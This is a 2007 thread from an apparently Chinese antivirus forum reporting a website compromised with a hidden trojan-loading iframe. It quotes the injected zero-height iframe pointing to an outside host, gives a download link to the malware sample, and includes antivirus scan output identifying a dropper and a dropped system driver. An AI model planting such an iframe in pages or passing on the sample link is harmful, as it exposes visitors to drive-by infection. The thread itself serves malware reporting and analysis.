又一个别人挂马的站

基哥

<iframe src=http://llboss.com/admin/97.htm width=20 height=0 frameborder=0></iframe>

http://www.tsingliu.net/

[ 本帖最后由 基哥 于 2007-12-15 10:16 编辑 ]

lovewei

样本
http://llboss.com/admin/xx.exe

绅博周幸

原帖由 <i>lovewei</i> 于 2007-12-15 10:44 发表 <a href="http://bbs.kafan.cn/redirect.php?goto=findpost&pid=2277778&ptid=171361" target="_blank"><img src="http://bbs.kafan.cn/images/common/back.gif" border="0" onclick="zoom(this)" onload="attachimg(this, 'load')" alt="" /></a><br />
样本<br />
http://llboss.com/admin/xx.exe

<br />
Start of the scan: 2007年12月14日  18:45

Starting the file scan:

Begin scan in 'C:\Users\Xing\Desktop\Downloads\xx.exe'
C:\Users\Xing\Desktop\Downloads\xx.exe
      [DETECTION] Is the Trojan horse TR/Dropper.Gen
      [INFO]      The file was deleted!

capsshift

微点报未知间谍

程序:
C:\VIRUS\XX.EXE
木马程序生成以下文件:
1) C:\WINDOWS\SYSTEM32\WXPTDI.SYS
是否删除木马程序及其衍生物?